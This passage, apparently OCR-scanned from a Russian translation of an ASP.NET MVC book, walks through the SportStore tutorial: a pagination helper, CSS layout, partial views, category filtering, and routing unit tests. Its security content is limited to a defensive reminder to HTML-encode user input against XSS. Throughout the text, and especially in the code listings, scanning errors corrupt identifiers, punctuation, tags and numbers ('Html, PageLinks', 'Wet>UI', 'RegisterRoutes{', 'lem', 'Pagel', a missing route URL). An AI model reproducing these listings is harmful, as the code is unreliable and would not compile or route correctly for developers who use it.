Совет. В специальных вспомогательных методах HTML фрагменты HTML-разметки можно строить с помощью любой предпочитаемой вами техники: в конце концов, HTML-разметка — зто просто строка. Например, можно воспользоваться методом string. AppendFormat (). Однако в приведенном выше коде демонстрируется возможность применения служебного класса TagBuilder из ASP.NET MVC, который внутри ASP.NET MVC используется при конструировании вывода большинства встроенных вспомогательных методов HTML.
Глава 4. Реальное приложение SportStore 123
Как специфицировано тестом, этот метод PageLinks () генерирует HTML-разметку для множества ссылок на страницы, с учетом известного номера текущей страницы, общего количества страниц и функции, которая создает URL для каждой страницы. Это расширяющий метод класса HtmlHelper (обратите внимание на ключевое слово this в сигнатуре метода), из чего следует, что его можно очень просто вызывать из шаблона представления:
<%= Html, PageLinks (2, 3, i => Url.Action("List", new { page = i })) %>
С учетом текущей конфигурации маршрутизации этот вызов генерирует следующую HTML-разметку:
<а href="/">l</a>
<а class="selected" href="/Page2">2</a>
<а href="/Page3">3</a>
Обратите внимание на соблюдение заданных правил маршрутизации и настроек по умолчанию: URL, сгенерированный для страницы 1, будет выглядеть просто как / (а не /Pagel, что тоже работает, но не так удобно). И если приложение развернуто в виртуальном каталоге, то Url. Action () автоматически позаботится о включении в URL пути к этому виртуальному каталогу.
Доступ к вспомогательному методу HTML из всех страниц представления
Вспомните, что расширяющие методы доступны только после ссылки на содержащее их пространство имен с помощью оператора using в файле кода C# или объявления <%@ Import ... %>в шаблоне представления ASPX. Поэтому, чтобы сделать PageLinks () доступным в представлении List. aspx, можно было бы добавить следующее объявление в начало файла List.aspx:
<%@ Import Namespace="WebUI.HtmlHelpers" %>
Но вместо копирования и вставки одного и того же объявления во все представления ASPX, использующие PageLinks (), гораздо эффективнее зарегистрировать пространство имен WebUI .HtmlHelpers глобально. Откройте файл web. config и найдите узел namespaces внутри system.web/pages. Добавьте в конец списка пространство имен вспомогательных методов HTML:
<namespaces>
<add name space="S ystem.Web.Mvc"/>
odd namespace="System.Web.Mvc.Aj ax"/> ... И Т.Д. . . .
<add namespace="Wet>UI.HtmlHelpers"/>
</namespaces>
Теперь вызов <%= Html. PageLinks (...) %> может использоваться в любом шаблоне представления MVC.
Снабжение представления номером страницы
Можетпоказаться, что все готово дляпомещения вызова <%= Html. PageLinks (...) %> в List. aspx, ио на самом деле в данный момент у представления нет никакой возможности узнать, какой номер страницы отображается, и сколько вообще имеется страниц. Поэтому контроллер придется расширить, чтобы он включал дополнительную информацию в ViewData.
124 Часть I. Введение в ASP.NET MVC
Тестирование: номера и счетчики страниц
Контроллер ProductsController уже заполняет специальный объект Model содержимым !Enumerable<Product>. С помощью словаря ViewData он может передать также и другую информацию представлению.
Предположим, что контроллер должен заполнить ViewData [ "CurrentPage" ] и ViewData [ "TotalPages" ] соответствующими значениями int. Это можно выразить, открыв файл ProductsControllerTests . cs (в проекте Tests) и обновив фазу утверждений теста List_Presents_Correct_Page_Of_Products():
// Утверждение: проверить результаты
Assert.IsNotNull(result, "Didn't render view"); // Представление не визуализировано var products = result.ViewData.Model as IList<Product>;
Assert.AreEqual(2, products.Count, "Got wrong number of products");
// Получено неверное количество товаров
Assert.AreEqual(2, (int)result.ViewData["CurrentPage"], "Wrong page number");
// Неверный номер страницы Assert. AreEqual(2, (int)result.ViewData["TotalPages"], "Wrong page count");
// Неверное количество страниц
// Удостовериться, что выбраны правильные объекты
Assert.AreEqual("Р4", products[0].Name);
Assert.AreEqual("Р5", products[l].Name);
Очевидно, что этот тест сейчас даст сбой, потому что ViewData [ "CurrentPage" ] и ViewData ["TotalPages" ] пока не заполнены данными.
Вернитесь к методу List () класса ProductsController и обновите его для передачи информации о номере страницы через словарь ViewData:
public ViewResult List(int page)
{
int numProducts = productsRepository.Products.Count();
ViewData["TotalPages"] = (int)Math.Ceiling((double) numProducts / PageSize);
ViewData["CurrentPage"] = page;
return View(productsRepository.Products
.Skip((page - 1) * PageSize)
.Take(PageSize)
.ToList() ) ;
}
Это обеспечит прохождение модульного теста, а также означает, что теперь можно включить Html. PageLinks () в представление List. aspx:
<asp:Content ContentPlaceHolderlD="MainContent" runat="server">
<% foreach(var product in Model) { %>
<div class="item">
<	h3><%= product.Name %X/h3>
<	%= product.Description %>
<	h4><%= product. Price. ToString ("c") %X/h4>
</div>
X о J
<div class="pager">
Page:
<%= Html.PageLinks((int)ViewData["CurrentPage"], (int)ViewData["TotalPages"], x => Url.Action("List", new ( page = x })) %>
</div>
</asp:Content>
Глава 4. Реальное приложение SportStore 125
Совет. Если средство IntelliSense не распознает новый расширяющий метод PageLinks на Html, значит, вы забыли зарегистрировать пространство имен WebUI. HtmlHelpers в файле web. config. Вернитесь к разделу “Доступ к вспомогательному методу HTML из всех страниц представления”.
Проверьте приложение теперь. Вы увидите работающие ссылки на страницы, как показано на рис. 4.16.
Рис. 4.16. Ссылки на страницы
На заметку! Столько работы — и совершенно не впечатляющий результат. Если ранее вам приходилось работать с ASP.NET, то наверняка возник вопрос: почему получения всего лишь списка, разбитого на страницы, понадобилось проделать такой объем работы? Ведь стандартный элемент управления ASP NET Gridview может делать это без дополнительных усилий? Однако то, что получено здесь, несколько отличается. Во-первых, вы строите это приложение на основе продуманной архитектуры, которая включает правильное разделение ответственности. В отличие от простейшего применения элемента Gridview, приложение SportStore не привязывается напрямую к схеме базы данных — вы обращаетесь к данным через абстрактный интерфейс репозитория. Во-вторых, вы создали модульные тесты, которые и определяют, и проверяют поведение приложения (с Gridview, который тесно связанн с базой данных, это было невозможно). И, наконец, имейте в виду, что большинство созданного до сих пор представляет собой многократно используемую инфраструктуру (например, вспомогательный метод PageLinks и контейнер loC). Добавление нового (отличающегося) постраничного списка теперь не потребует ни затрат времени, ни написания кода. В следующей главе разработка пойдет намного быстрее.
Стилизация
До сих пор основное внимание уделялось инфраструктуре, а не графическому дизайну. Сейчас приложение выглядит предельно сырым. Даже несмотря на то, что книга не посвящена стилям CSS или веб-дизайну, бедность внешнего вида приложения SportStore значительно проигрывает основательности его проектной структуры, поэтому давайте возьмемся за кисти!
Обратимся к классической компоновке из двух столбцов с заголовком, т.е. чему-то вроде показанного на рис. 4.17.
Согласно концепции мастер-странпц и страниц содержимого ASP.NET, заголовок и боковая панель должны определяться на мастер-странипе, а основное тело будет представлено элементом ContentPlaceHolder по имени MainContent.
126 Часть I. Введение в ASP.NET MVC
Sports Store (заголовок)
Ноте	* Product 1
*Golf	* Product 2
* Soccer	— И Т.Д. —
* Sailing	( тело)
-ИТ.Д.---	
Рис. 4.17. Черновой набросок компоновки сайта
Определение компоновки в мастер-странице
Реализовать такую компоновку несложно. Для этого понадобится обновить шаблон мастер-страницы /Views/Shared/Site.Master, как показано ниже:
<%@ Master Language="C#" Inherits="System.Web.Mvc.ViewMasterPage" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtmll/DTD/xhtmll-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title><asp:ContentPlaceHolder ID="TitleContent" runat="server" /></title> </head>
<body>
<div id="header">
<div class="title">SPORTS STORE</div>
</div>
<div id="categories'^
Will put something useful here later
</div>
<div id="content">
<asp:ContentPlaceHolder ID="MainContent" runat="server" />
</div>
</body>
</html>
Подобный тип разметки HTML является признаком приложения ASP.NET MVC. Он исключительно прост и имеет простую семантику: описывает содержимое, но ничего не говорит о том, как оно должно быть расположено на экране. Весь графический дизайн будет обеспечен с помощью стилей CSS16. Давайте добавим файл CSS.
16 Некоторые сильно устаревшие браузеры не поддерживают CSS. Однако поскольку эта тема касается дизайна (а книга посвящена платформе ASP.NET MVC, в рамках которой можно с успехом визуализировать любую HTML-разметку), вопросы подобного рода рассматриваться не будут.
Глава 4. Реальное приложение SportStore 127
Добавление правил CSS
В соответствии с соглашениями ASP.NET MVC. статические файлы (вроде изображений и файлов CSS) должны располагаться в папке /Content. Добавьте в зту папку новый файл CSS под названием styles . css (щелкнув правой кнопкой мыши на папке /Content, выбрав в контекстном меню пункт Add^New Item (Добавить>4>Новый элемент), затем — Style Sheet (Таблица стилей)).
Совет. Полное содержимое файла CSS в книге приводится для справки. Набирать его вручную не понадобится, поскольку этот файл входит в состав материалов, доступных для загрузки на веб-сайте издательства.
BODY ( font-family: Cambria, Georgia, "Times New Roman"; margin: 0; } DIV#header DIV.title, DIV.item H3, DIV.item H4, DIV.pager A { font: bold lem "Arial Narrow", "Franklin Gothic Medium", Arial;
)
DIV#header { background-color: #444; border-bottom: 2px solid #111; color: White; }
DIV#header DIV.title { font-size: 2em; padding: . 6em; }
DIV#content ( border-left: 2px solid gray; margin-left: 9em; padding: lem;
}
DIV#categories { float: left; width: 8em; padding: .3em; }
DIV.item ( border-top: Ipx dotted gray; padding-top: .7em; margin-bottom: ,7em; }
DIV.item:first-child ( border-top:none; padding-top: 0; }
DlV.item H3 { font-size: 1.3em; margin: 0 0 .25em 0; }
DIV.item H4 { font-size: 1.lem; margin:.4em 000; }
DIV.pager ( text-align:right; border-top: 2px solid silver; padding: .5em 000; margin-top: lem; }
DIV.pager A { font-size: l.lem; color: #666; text-decoration: none;
padding: 0 .4em 0 .4em; }
DIV.pager A:hover { background-color: Silver; }
DIV.pager A.selected ( background-color: #353535; color: White; }
И, наконец, установите ссылку на новую таблицу стилей, обновив заголовок <head> мастер-страницы /Views/Shared/Site .Master:
<head runat="server">
<titlexasp:ContentPlaceHolder ID="TitleContent" runat="server" /> </title>
<link rel="Stylesheet" href="~/Content/styles.css" />
</head>
На заметку! Символ тильды (~) указывает ASP.NET, что путь к файлу таблицы стилей определяется относительно корневой папки приложения, поэтому даже после развертывания SportStore в виртуальном каталоге ссылка на файл CSS останется корректной. Это работает только благодаря тому, что дескриптор <head> помечен как runat="server", т.е. является серверным элементом управления. Подобный виртуальный путь нельзя применять в шаблонах представлений, потому что разметка выводится в том виде, как есть, и браузер сможет правильно интерпретировать символ тильды. Для преобразования виртуального пути в реальный служит метод Url.Content (например, <%= Url.Content ("-/Content/Picture.gif") %>).
Собственно, на этом все. Сайт теперь имеет, по крайней мере, подобие графического дизайна (рис. 4.18).
После комбинирования мастер-страниц с правилами CSS можно привлечь к работе веб-дизайнера или загрузить какой-то готовый шаблон веб-страницы. При желании можно попробовать разработать дизайн страницы самостоятельно.
128 Часть I. Введение в ASP.NET MVC
Рис. 4.18. Обновленная мастер-страница и стили CSS в действии
Создание частичного представления
В качестве завершающего штриха, давайте проведем небольшой рефакторинг приложения, чтобы упростить шаблон представления List. aspx (как вы помните, представления должны быть простыми). Вы узнаете, как создавать частичное представление (partial view), выбирая фрагмент представления для визуализации товара и помещая его в отдельный файл. Частичное представление можно многократно использовать в разных шаблонах представлений, к тому же оно позволит упростить List. aspx.
В окне Solution Explorer щелкните правой кнопкой мыши на папке /Views/Shared и выберите в контекстном меню пункт Add^View (Добавить1^ Представление). В открывшемся окне введите в качестве имени представления ProductSummary, отметьте флажки Create a partial view (.ascx) (Создать частичное представление (.ascx)), Create a strongly typed view (Создать строго типизированное представление) и в раскрывающемся списке View data class (Класс данных представления) выберите класс модели DomainModel. Entities. Product. Окно со всеми настройками показано на рис. 4.19.
Рис. 4.19. Настройки, используемые при создании частичного представления Productsummary
Глава 4. Реальное приложение SportStore 129
После щелчка на кнопке Add (Добавить) среда Visual Studio создаст шаблон частичного представления в ~/Views/Shared/ProductSummary.ascx. Он будет очень похож на обычный шаблон представления, за исключением того, что предназначен для визуализации только фрагмента HTML-разметки, а не полной HTML-страницы. Поскольку Productsummary строго типизирован, у него есть свойство по имени Model, для которого был установлен тип Product. Добавьте разметку для визуализации этого объекта:
<%@ Control Language="C#"
Inherits="System.Web.Mvc.ViewUserControl<DomainModel.Entities.Product>" %>
<div class="item">
<	h3><%= Model.Name %X/h3>
<	%= Model.Description %>
<	h4X%= Model. Price. ToString ("c") %X/h4>
</div>
И. наконец, обновите /Views/Products/List.aspx, чтобы он использовал новое частичное представление, передавая параметр product, который будет присвоен свойству Model частичного представления:
<asp:Content ContentPlaceHolderID="MainContent" runat="server">
<% foreach(var product in Model) { %>
<% Html.RenderPartial("ProductSummary", product); %>
<% } %>
<div class="pager">
Page:
<%= Html.PageLinks((int)ViewData["CurrentPage"],
(int)ViewData["TotalPages"] ,
x => Url.Action("List", new { page = x })) %> </div>
</asp:Content>
На заметку! Синтаксис, окружающий Html. RenderPartial (), несколько отличается от того, что окружает большинство вспомогательных методов HTML. Вместо <%=...; %> используется <%...; %>. Дело в том, что Html. RenderPartial () не возвращает строку HTML-разметки, как большинство других вспомогательных методов HTML. На самом деле он отправляет текст непосредственно в поток ответа, поэтому его вызов должен быть оформлен как завершенная строка кода С#, а не вычисляемое выражение С#. Теоретически он может использоваться для генерации огромных объемов данных, и буферизировать эти данные в памяти в виде строки, по меньшей мере, неэффективно.
Это вполне допустимое упрощение. Запустив проект снова, вы увидите новое частичное представление в действии (другими словами, внешне ничего не изменится), как показано на рис. 4.20.
Резюме
В этой главе была построена большая часть базовой инфраструктуры, необходимой приложению SportStore. Несмотря на то что пока еще мало что можно продемонстрировать визуально, “за кулисами" заложены основы модели предметной области с репозиторием товаров, основанном на базе данных SQL Server. Также имеется один контроллер MVC под названием ProductsController, который может генерировать постраничный список товаров, и контейнер 1оС, координирующий зависимости между всеми этими частями. Вдобавок построена ясная специальная схема URL, и теперь
130 Часть I. Введение в ASP.NET MVC
можно приступать к написанию кода приложения, опираясь на солидный фундамент модульных тестов.
В следующей главе будут добавлены все средства приложения, видимые извне: навигацию по категориям товаров, корзину для покупок, а также процесс оформления заказа. Вот это уже можно будет продемонстрировать заинтересованным людям.
Рис. 4.20. Серия частичных представлений ProductSummary.ascx
ГЛАВА 5
Приложение
SportStore: навигация и корзина для покупок
В главе 4 была подготовлена большая часть базовой инфраструктуры, необходимой для построения приложения SportStore. Реализовано построение простого списка товаров, который поддерживается базой данных SQL Server. Однако для завоевания лидерства в глобальной электронной коммерции еще предстоит предпринять несколько действий. В этой главе вы продолжите процесс разработки ASP.NET MVC, добавив навигацию по каталогу товаров, корзину для покупок и процесс регистрации заказа. В главе рассматриваются следующие вопросы.
•	Использование вспомогательного метода Html. RenderAction () для создания многократно используемых, тестируемых шаблонных элементов управления.
•	Выполнение модульного тестирования конфигурации маршрутизации (как входящей, так и исходящей).
•	Проверка данных перед отправкой формы.
•	Создание специального средства привязки модели (model binder), которое разделяет ответственность хранения корзины для покупок посетителя, позволяя сделать методы действий более простыми и тестируемыми.
•	Использование инфраструктуры инверсии управления (1оС) для реализации подключаемого каркаса обработки заполненных заказов.
Добавление элементов управления навигацией
Приложение SportStore будет более удобным, если вы позволите посетителям просматривать товары по категориям. Это можно реализовать в три этапа.
1.	Расширить действие List контроллера ProductsController возможностью фильтрации товаров по категориям.
2.	Усовершенствовать конфигурацию маршрутизации с целью доступа к каждой категории через “чистый" URL.
3.	Создать список категорий для размещения в боковой панели с выделенной текущей категорией товаров и ссылками на другие категории. Для этого будет применяться вспомогательный метод Html. RenderAcion ().
132 Часть I. Введение в ASP.NET MVC
Фильтрация списка товаров
Первая задача заключается в расширении действия List, чтобы реализовать фильтрацию товаров по категориям.
Тестирование: фильтрация товаров по категориям
Для поддержки фильтрации товаров по категориям добавим в метод действия List () дополнительный параметр string и назовем его category.
1. Когда значением category является null, метод List () должен отображать все товары.
2. Когда значением category является строка, List () должен отображать только товары заданной категории.
Создайте тест для испытания этого поведения, добавив новый метод [Test] к Products ControllerTests:
[Test] public void List_Includes_All_Products_When_Category_Is_Null() {
// Подготовить сценарий с двумя категориями
IProductsRepository repository = MockProductsRepository( new Product { Name = "Artemis", Category = "Greek" }, new Product { Name = "Neptune", Category = "Roman" } ) ;
ProductsController controller = new ProductsController(repository); controller.PageSize =10;
// Запросить нефильтрованный список var result = controller.List(null, 1);
// Проверить, что результат включает оба элемента Assert.IsNotNull(result, "Didn't render view");
// Представление не визуализировано var products = (IList<Product>)result.ViewData.Model;
Assert.AreEqual(2, products.Count, "Got wrong number of items");
// Получено неверное количество элементов
Assert.AreEqual("Artemis", products[0].Name);
Asserf.AreEqual("Neptune", products[1].Name); )
Этот тест вызывает ошибку компиляции (No overload for method ’List' takes '2' arguments (Нет перегрузки метода List, принимающей 2 аргумента)), потому что метод List () пока не принимает два параметра. Если бы не было вызова с двумя аргументами, этот тест прошел бы успешно, так как существующее поведение List () не поддерживает фильтрацию.
Все становится несколько интереснее при тестирования второго поведения (когда отличное от null значение параметра category должно вызывать фильтрацию):
[Test]
public void List_Filters_By_Category_When_Requested() {
// Подготовить сценарий с двумя категориями: Cats и Dogs IProductsRepository repository = MockProductsRepository( new Product { Name = "Snowball", Category = "Cats" }, new Product { Name = "Rex", Category = "Dogs" }, new Product { Name = "Catface", Category = "Cats" }, new Product { Name = "Woofer", Category = "Dogs" }, new Product { Name = "Chomper", Category = "Dogs" }
);
Глава 5. Приложение SportStore: навигация и корзина для покупок 133
ProductsController controller = new ProductsController(repository); controller.PageSize = 10;
// Запросить только Dogs
var result = controller.List("Dogs", 1) ;
// Проверка результатов
Assert.IsNotNull(result, "Didn't render view"); // Представление
//не визуализировано
var products = (IList<Product>)result.ViewData.Model;
Assert.AreEqual(3, products.Count, "Got wrong number of items”);
// Получено неверное количество элементов
Assert.AreEqual("Rex", products[0].Name);
Assert.AreEqual("Woofer", products[1].Name);
Assert.AreEqual("Chomper", products[2].Name);
Assert.AreEqual("Dogs", result.ViewData["Currentcategory"]);
}
Как уже упоминалось, в таком виде скомпилировать эти тесты не удастся, поскольку List () пока не принимает два параметра. Таким образом, эти тесты требуют добавления в метод нового параметра category. Кроме того, тест также выдвигает еще одно требование: действие List () должно заполнять ViewData ["Currentcategory"] именем текущей категории. Это понадобится позже, при генерации ссылок на другие страницы той же категории.
Начните реализацию с добавления нового параметра category в метод действия List() класса ProductsController:
public ViewResult List(string category, int page)
{
// ... Остальная часть метода не изменяется
}
Несмотря на отсутствие параметра category в конфигурации маршрутизации, это не помешает выполнению приложения. Если никакого значения не указано, ASP.NET MVC просто передаст null в качестве значения этого параметра.
Тестирование: обновление тестов
Прежде чем снова компилировать решение, понадобится обновить модульный тест List_ Presents_Correct_Page_Of_Products (), чтобы он передавал некоторое значение в новом параметре:
// Действие: запрос второй страницы (размер страницы = 3)
var result = controller.List(null, 2);
null — достаточно хорошее значение, потому что с тестом делать ничего не придется.
Реализация фильтра по категориям
Чтобы реализовать поведение фильтрации, обновите метод List() класса ProductsController следующим образом:
public ViewResult List(string category, int page)
{
var productsInCategory = (category == null)
? productsRepository.Products
: productsRepository.Products.Where(x => x.Category == category);
int numProducts = productsInCategory.Count();
134 Часть I. Введение в ASP.NET MVC
ViewData["TotalPages"] = (int)Math.Ceiling((double) numProducts / PageSize); ViewData["CurrentPage"] = page;
ViewData["Currentcategory"] = category; // Для использования при
// генерации ссылок на страницы return View (productsInCategory
•Skip((page - 1) * PageSize)
•Take(PageSize)
.ToList ()
) ;
}
Этого достаточно для того, чтобы тесты компилировались и выполнялись. Более того — поведение можно наблюдать в веб-браузере, запросив URL вида http:// localhost:порт/?category=Watersports (рис. 5.1). Вспомните, что параметры строки запроса (в данном случае category) в ASP.NET MVC используются в качестве параметров методов действий (если на основе конфигурации маршрутизации не может быть определено другое значение). Прием этих данных как параметров метода проще и более читабелен, чем извлечение их из коллекции Request.Querystring вручную.
Рис. 5.1. Фильтрация товаров по категориям
Чтобы заставить представление List. aspx визуализировать соответствующий заголовок страницы, как показано на рис. 5.1, обновите местоположение содержимого head:
<asp:Content ContentPlaceHolderID="TitleContent" runat="server"> SportsStore :
<%= string.IsNullOrEmpty((string)ViewData["CurrentCategory"])
? "All Products"
: Html.Encode(ViewData["Currentcategory"]) %>
</asp:Content>
В результате заголовок страницы будет отображать SportsStore : НазваниеКатегории, если специфицировано ViewData ["Currentcategory"], и SportsStore : All Products (все товары) — в противном случае.
Глава 5. Приложение SportStore: навигация и корзина для покупок 135
На заметку! Обязательно с помощью Html.Encode О выполняйте HTML-кодирование всех введенных пользователем данных перед их обратной отправкой HTML-странице, как это делается в предыдущем коде. Злоумышленник может ввести запрос вида /?category=BoT+ такая+поддельная+категория и тем самым включить в вашу страницу произвольную строку. Если вы забудете использовать Html .Encode () для кодирования ненадежного пользовательского ввода, то можете открыть ворота для угрозы атак межсайтовыми сценариями (cross-site scripting — XSS)1. Более подробные сведения о XSS и других проблемах безопасности, а также о противостоянии даются в главе 13.
Определение схемы URL для категорий
Мало кому понравятся неуклюжие URL вида /?category=Watersports. Как известно, ASP.NET MVC позволяет организовать схему URL любым подходящим образом. Простейший способ проектирования схемы URL состоит в написании последовательности примеров желаемых URL, как показано в табл. 5.1.
Таблица 5.1. Проектирование схемы URL на основе примеров
Пример URL	Направление
/	На первую страницу All products (Все товары)
/Раде2	На вторую страницу All products (Все товары)
/Football	На первую страницу категории Football (Футбол)
/Football/Page 4 3	На сорок третью страницу категории Football (Футбол)
/Anything/Else	К действию Else контроллера AnythingController
Тестирование: отображение входящего маршрута
Если вы кодируете в стиле TDD, то сейчас самое время подготовить модульные тесты для выражения конфигурации маршрутизации. Основная система маршрутизации, которая находится в сборке System.Web.Routing.dll, спроектирована для поддержки простого тестирования, так что проблем с верификацией обработки ею входящих строк URL возникать не должно.
Начните с добавления в проект Tests нового класса и назовите его InboundRoutingTests.
Тест для проверки отображения / (корневого URL) может быть очень простым:
[TestFixture]
public class InboundRoutingTests
(
[Test]
public void Slash_Goes_To_All_Products_Page_l() {
TestRoutenew { controller = "Products", action = "List", category = (string)null, page = 11);
}
}
На самом деле, тест не так уж прост. Приведенный выше код полагается на реализацию метода TestRoute():
1 Теоретически атака подобного рода должны блокироваться средством проверки достоверности запросов ASP.NET, но эта защита может оказаться не достаточно надежной после ряда модификаций представления. Поэтому всегда применяйте Html. Encode () перед отправкой любого пользовательского ввода.
136 Часть I. Введение в ASP.NET MVC
private void TestRoute(string url, object expectedValues) {
// Подготовка: подготовить коллекцию маршрутов и макет контекста запроса Routecollection routes = new RouteCollection () ;
MvcApplication.RegisterRoutes(routes);
var mockHttpContext = new Moq.Mock<HttpContextBase>();
var mockRequest = new Moq.Mock<HttpRequestBase>();
mockHttpContext.Setup(x => x.Request).Returns(mockRequest.Object);
mockRequest.Setup(x => x.AppRelativeCurrentExecutionFilePath).Returns(url);
// Действие: получить отображенный маршрут
RouteData routeData = routes.GetRouteData(mockHttpContext.Object);
// Утверждение: проверить значения маршрута на соответствие ожидаемым значениям Assert.IsNotNull(routeData) ;
var expectedDict = new RouteValueDictionary(expectedValues);
foreach (var expectedVal in expectedDict)
{
if (expectedVal.Value == null)
Assert.IsNull(routeData.Values[expectedVal.Key]);
else
Assert.AreEqual(expectedVal.Value.ToString() ,
routeData.Values[expectedVal.Key].ToString());
}
}
Если вы недоумеваете, почему метод TestRoute О (или подобный) не поставляется вместе с MVC, можно предположить, что это из-за того, что предложенная реализация при установке имитируемого контекста запроса полагается на Moq. Создатели MVC не хотели принуждать разработчиков использовать какой-то один инструмент имитации. Если бы вместо Moq применялся пакет Rhino Mocks, код был бы другим.
Включите метод TestRoute () в класс InboundRoutingTests, после чего скомпилирует код и запустите его в графической среде NUnit. Сейчас тест siash_Goes_To_All_Products_Page_l () пройдет успешно, потому что существующая конфигурация маршрутизации уже справляется с маршрутом ~/ должным образом. Наличие определенного метода TestRoute () облегчает добавление тестов и для других примеров URL:
[Test]
public void Page2_Goes_To_All_Products_Page_2() {
TestRoute("~/Page2", new
(
controller = "Products", action = "List", category = (string)null, page = 2 });
}
[Test]
public void Football_Goes_To_Football_Page_l()
{
TestRoute("-/Football", new
{
controller = "Products", action = "List", category = "Football", page = 1
}) ;
}
[Test]
public void Football_Slash_Page43_Goes_To_Football_Page_43()
{
Глава 5. Приложение SportStore; навигация и корзина для покупок 137
TestRoute("~/Football/Page43", new {
controller = "Products", action = "List",
category = "Football", page = 43 });
}
[Test]
public void Anything_Slash_Else_Goes_To_Else_On_AnythingController() {
TestRoute("~/Anything/Else", new {controller = "Anything",action = "Else"}); }
Разумеется, прямо сейчас не все эти тесты пройдут, поскольку еще не сконфигурирована схема URL.
Тестирование: генерация исходящих URL
Для полной проверки конфигурации маршрутизации понадобится создать модульные тесты также и для генерации исходящих URL. То, что входящая маршрутизация работает, еще не значит, что исходящие URL генерируются должным образом. Например, для доступа к одному и тому же ресурсу может быть предусмотрено несколько шаблонов URL (например, сейчас /Раде2 и /?Раде=2 ведут к одному и тому же ресурсу), но какой следует сгенерировать URL? Возможно, это не имеет особого значения, а, возможно, это является частью существующего контракта проектирования.
Чтобы протестировать генерацию исходящих URL, создайте в проекте Tests новый класс под названием OutboundRoutingTests. Ниже приведен пример простого теста:
[TestFixture]
public class OutboundRoutingTests
{
[Test]
public void All_Products_Page_l_Is_At_Slash() {
Assert.AreEqual("/", GetOutboundUrl(new { controller = "Products", action = "List", category = (string)null, page = 1 }));
}
}
Как и ранее, чтобы это работало, потребуется реализовать метод GetOutboundUrl () (поместите его в OutboundRoutingTests):
string GetOutboundUrl(object routevalues) {
// Получить конфигурацию маршрута и имитацию контекста запроса Routecollection routes = new Routecollection();
MvcApplication.RegisterRoutes(routes);
var mockHttpContext = new Moq.Mock<HttpContextBase>() ;
var mockRequest = new Moq.Mock<HttpRequestBase>() ;
var fakeResponse = new FakeResponse() ;
mockHttpContext.Setup(x => x.Request).Returns(mockRequest.Object) ; mockHttpContext.Setup(x => x.Response).Returns(fakeResponse);
mockRequest.Setup(x => x.ApplicationPath).Returns ("/");
// Генерация исходящего URL
var ctx = new Requestcontext(mockHttpContext.Object, new RouteData()); return routes.GetVirtualPath(ctx, new RouteValueDictionary(routevalues)) .VirtualPath;
)
138 Часть I. Введение в ASP.NET MVC
private class FakeResponse : HttpResponseBase {
// Маршрутизация вызовов для сеансов, не использующих cookie-наборы
//На тест это не влияет, поэтому возвратить путь неизменным
public override string ApplyAppPathModifier(string x) { return x; } }
Затем можно добавить тесты для других примеров URL:
[Test]
public void Football_Pagel_Is_At_Slash_Football() {
Assert.AreEqual("/Football", GetOutboundUrl(new {
controller = "Products", action = "List", category = "Football", page = 1
}));
}
[Test]
public void Football_Pagel01_Is_At_Slash_Football_Slash_Pagel01() {
Assert.AreEqual("/Football/PagelOl", GetOutboundUrl(new {
controller = "Products", action = "List", category = "Football", page = 101
}));
}
[Test]
public void AnythingController_Else_Action_Is_At_Anything_Slash_Else() {
Assert.AreEqual("/Anything/Else", GetOutboundUrl(new {
controller = "Anything", action = "Else" }));
}
He рассчитывайте, что эти тесты сразу же пройдут, так как конфигурация схемы URL пока еще не реализована.
Реализуйте желаемую схему URL, заменив существующий метод RegisterRoutes () (в Global. asax. cs) следующим:
public static void RegisterRoutes{Routecollection routes)
{
routes.IgnoreRoute("{resource}.axd/{*pathlnfo}");
routes.MapRoute(null,
// Совпадает только с пустым URL (т.е. ~/) new { controller = "Products", action = "List", category = (string)null, page = 1 } ) ;
routes.MapRoute(null,
"Page{page}", // Matches ~/Page2, ~/Pagel23, but not ~/PageXYZ new { controller = "Products", action = "List", category = (string)null }, new { page = @"\d+" } // Ограничения: номер страницы должен быть числовым ) ;
routes.MapRoute(null,
"{category}", // Совпадает c '/Football или ~/AnythingWithNoSlash new { controller = "Products", action = "List", page = 1 } );
Глава 5. Приложение SportStore: навигация и корзина для покупок 139
routes.MapRoute(null,
"{category}/Page{page}", // Совпадает c ~/Football/Page567
new { controller = "Products", action = "List" }, // Defaults
new { page = @"\d+" } // Ограничения: номер страницы должен быть числовым ) ;
routes.MapRoute(null, "{controller}/{action}");
}
Совет. Конфигурация маршрутизации может оказаться сложной! Система маршрутизации выбирает совпадающие входящие и исходящие маршруты, просматривая список сверху вниз и извлекая первый элемент маршрута, для которого обнаружено соответствие. Если элементы маршрута располагаются в списке в неверном порядке, возможен выбор неверного маршрута. Например, если поместить {category} выше Page {раде} в списке, то входящий URL /Раде4 будет трактоваться как первая страница “категории” под названием Раде4.
Золотое правило требует размещения наиболее специфичных маршрутов в начале, чтобы им всегда отдавалось предпочтение по отношению к менее специфичным. Тем не менее, иногда корректный порядок приоритетов для совпадений входящих маршрутов может конфликтовать с корректным порядком приоритетов для совпадений исходящих маршрутов. В таком случае для нахождения правильного порядка для обоих маршрутов понадобится экспериментировать, подбирая параметры constraint. В случае написания автоматизированных тестов для примеров как входящих, так и исходящих отображений маршрутов решение этой задачи упрощается. Тесты позволят продолжить настройку конфигурации и проверять ее в графической среде NUnit, вместо того, чтобы каждый раз вручную просматривать весь набор возможных URL. Более подробные сведения о маршрутизации вы найдете в главе 8.
И, наконец, имейте в виду, что когда вспомогательный метод Html. PageLinks () генерирует ссылки на другие страницы, категория пока не указывается, поэтому посетитель не узнает, товары какой категории он просматривает. Обновите вызов метода Html.PageLinks() в List.aspx:
<%= Html.PageLinks((int)ViewData["CurrentPage"],
(int)ViewData["TotalPages"],
x => Url.Action ("List", new { page = x,
category = ViewData["Currentcategory"] })) %>
После этого вы обнаружите, что все модульные тесты теперь проходят успешно. Если вы перейдете на URL вроде /Chess, то все ссылки на страницы обновятся, отражая новую схему URL (рис. 5.2).
Рис. 5.2. Улучшенная конфигурация маршрутизации порождает чистые URL
140 Часть I. Введение в ASP.NET MVC
Построение меню навигации по категориям
Когда посетитель запрашивает допустимый URL категории (например, /Chess или /Soccer/Page2), существующая конфигурация URL корректно разбирает его, а контроллер ProductsController выполняет свою работу по представлению соответствующего списка товаров. Но где посетитель сможет обнаружить хоть один из таких URL? В приложении нет ссылок, которые ведут к ним. Значит, пришло время поместить что-то полезное в боковую панель приложения, в частности — список категорий товаров.
